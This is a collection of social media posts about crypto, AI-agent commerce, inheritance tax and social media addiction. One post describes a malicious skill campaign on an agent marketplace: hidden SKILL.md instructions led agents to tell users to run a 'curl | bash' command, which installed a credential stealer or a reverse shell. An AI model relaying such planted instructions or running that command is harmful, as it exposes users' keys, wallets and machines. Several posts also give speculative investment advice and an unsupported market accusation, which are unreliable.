i agree with a lot of your policies but not with this one. It’s healthy long term for a society to have some form of inheritance tax. Maybe not at its current level but also not zero. Why not keep some level of inheritance tax and use it to channel money into savings accounts for the next generation, similar to the “trump accounts” the US have launched?

@SiamKidd Nice! I was at Greshams but guess a few years before you - I have a nephew at university at the moment and it constantly amazes me that there is not more awareness amongst young people about what is coming

Was great going back to my old school to talk about AI, robots and Bittensor to the 6th formers. Even after the presentation, most of the audience still struggled to believe that in under 10 years, MOST jobs (maybe all) will be disintermediated by Agents or bi pedal robots. And that pretty much everything they will learn in uni will be redundant. It's something that I think about a LOT, as I have a 9 and 7 year old and the world they're growing up in will be incredibly alien to the world I grew up in... greshams.com/year-13-enrich…

Starting to feel the best use case for crypto isn’t necessarily currency DeAi/AgenticAi is one of the first few real narrative aside from stable coins, crypto should build all the tools out so agents can have permissionless access to all necessary services A few big companies should not have full monopoly over Ai, alternatives are necessary

You've got to hand it to the @virtuals_io team for utilizing short-term degenomics to fuel their long-term vision. The x402 and erc-8004 narrative made everyone forget about ACP. It turns out the requirement for these rails to work was a carefully crafted ecosystem with aligned incentives. And the most incredible thing about this is that Virtuals is a year ahead of their competitors in the agentic commerce race. Now, the ecosystem is rewarding agentic production, while the trenches are coming alive with easter eggs planted by the team, and devs from all over the world flocking in to join the mission. Considering the fears of the current macro environment, the Virtuals ecosystem is cooking hard.

x402 volume is starting to pick back up to Q4/2025 level ​ Key driver to the increase is @virtuals_io ​ Majority of the demand (99%+) comes from agent-to-agent services from Virtuals ACP (e.g. data queries, swaps, workflows, and inferences) ​ The increase in volume came 2 weeks after the announcement of $1M monthly incentives supporting productive agents within the ACP network ​ First week Epoch (11 Feb - 23 Feb) saw average x402 volume doubled. Top 5 agents earned $32k - $66k in incentives (on top of their $70-$90k fee generated) ​ Seems like the aGDP initiatives are working

And there it is: Jane Street was behind the 2022 crypto winter, destroying Terraform by first depegging the token and destroying the ecosystem, then pretending it would rescue Terra, while effectively it was soaking up what little value remained.

the #1 most downloaded skill on OpenClaw marketplace was MALWARE it stole your SSH keys, crypto wallets, browser cookies, and opened a reverse shell to the attackers server 1,184 malicious skills found, one attacker uploaded 677 packages ALONE OpenClaw has a skill marketplace called ClawHub where anyone can upload plugins you install a skill, your AI agent gets new powers, this sounds great the problem? ClawHub let ANYONE publish with just a 1 week old github account attackers uploaded skills disguised as crypto trading bots, youtube summarizers, wallet trackers. the documentation looked PROFESSIONAL but hidden in the SKILL.md file were instructions that tricked the AI into telling you to run a command > to enable this feature please run: curl -sL malware_link | bash that one command installed Atomic Stealer on macOS it grabbed your browser passwords, SSH keys, Telegram sessions, crypto wallets, keychains, and every API key in your .env files on other systems it opened a REVERSE SHELL giving the attacker full remote control of your machine Cisco scanned the #1 ranked skill on ClawHub. it was called What Would Elon Do and had 9 security vulnerabilities, 2 CRITICAL. it silently exfiltrated data AND used prompt injection to bypass safety guidelines, downloaded THOUSANDS of times. the ranking was gamed to reach #1 this is npm supply chain attacks all over again except the package can THINK and has root access to your life

That’s great - but crypto has a way of pulling you down into more and more risk. Ask any of the Bitcoin OG’s - if they had just held their original BTC rather than diving into all the altcoins, they would be better off today. Some of the subnets will go to the moon and some will go to zero, but it’s a reality of early stage vc investing that you can never know who the real winners will be.

@DavidnbWright @DreadBong0 Why? What if you only go into alpha “safely” - like the top ten? I did that 6 weeks ago. One of my choices is down 20% of what I allocated but overall I’m up over 10%. My root stake it up a fraction of that. I’ve been in Tao 2 years but waited to move into subnets.

If you aren't holding certain subnets for the long term.. you are doing it wrong You can make some $TAO swinging them, sure.. But holding the right ones and watching them compound over time will create generational wealth $TAO
Sheik@ttsheik

$TAO holders worry too much about their subnets' alpha price, leading them to unwise decisions of selling or avoiding Subnets, even after a year, are still a new thing Buying & holding promising SNs like 44, 50 & 35 among others for long term, positions you for an asymmetric bet

I was on @RealTimers, where Bill Maher gave me the chance to explain why the social media execs are worse than the Tobacco execs in the 1990s: They all lied by claiming that their products were not addictive. But the tobacco execs never had to watch children suffer. youtube.com/watch?v=d1xCD9… At the trial last week in Los Angeles, Adam Mosseri claimed that Instagram is not addictive. He said a kid compulsively watching 16 hours of Reels a day is no different than when he watches too much Netflix and stays up a bit too late. But he knows that gambling is a DSM addiction, he knows that slot machines are addictive, and he knows that his product was designed using behaviorist principles that were perfected on slot machines and that are not relevant to watching movies. Also, he and his researchers have used the word "addiction" in many internal memos and studies. My team has organized the evidence on 31 studies carried out by Meta, and culled from internal documents that have come out in the many lawsuits against Meta. See for yourself: metasinternalresearch.org See study 3.1, which found that “the majority of clinicians believe that social media can be addictive,” with fully 85% of U.S. clinicians endorsing this proposition. Or see this quote from a Meta senior data scientist with a PhD in neuroscience who once taught a university course on addiction: “It seems clear from what’s presented here that some of our users are addicted to our products. And I worry that driving sessions incentivizes us to make our product more addictive, without providing much more value. How to keep someone returning over and over to the same behavior each day? Intermittent rewards are most effective (think slot machines) reinforcing behaviors that become especially hard to extinguish—even when they provide little reward, or cease providing reward at all.” So, they know. To quote Sean Parker, discussing how social media apps were designed to give users "a little dopamine hit every once in a while" to hook them: "The inventors, creators — it's me, it's Mark, it's Kevin Systrom on Instagram, it's all of these people — understood this consciously. And we did it anyway." youtube.com/watch?v=d1xCD9…

(Lack of) Privacy may the missing link for crypto payments adoption. Imagine, a company pays employees in crypto on-chain. With the current state of crypto, you can pretty much see how much everyone in the company is paid (by clicking the from address). 🤷‍♂️

🎙️ NEW: CZ AND CHAMATH WARN PRIVACY GAP IS CRYPTO’S BIGGEST HURDLE Binance founder CZ and investor Chamath Palihapitiya speak on the lack of robust, native privacy protections fundamentally limiting Bitcoin and broader crypto from achieving true mainstream ubiquity.

AI agents generate $1B annually but struggle to coordinate at scale. They lack standardized rails to discover, trust, and transact with each other. @virtuals_io solves this through ACP, open infrastructure for agents to collaborate and exchange value permissionlessly. 🧵
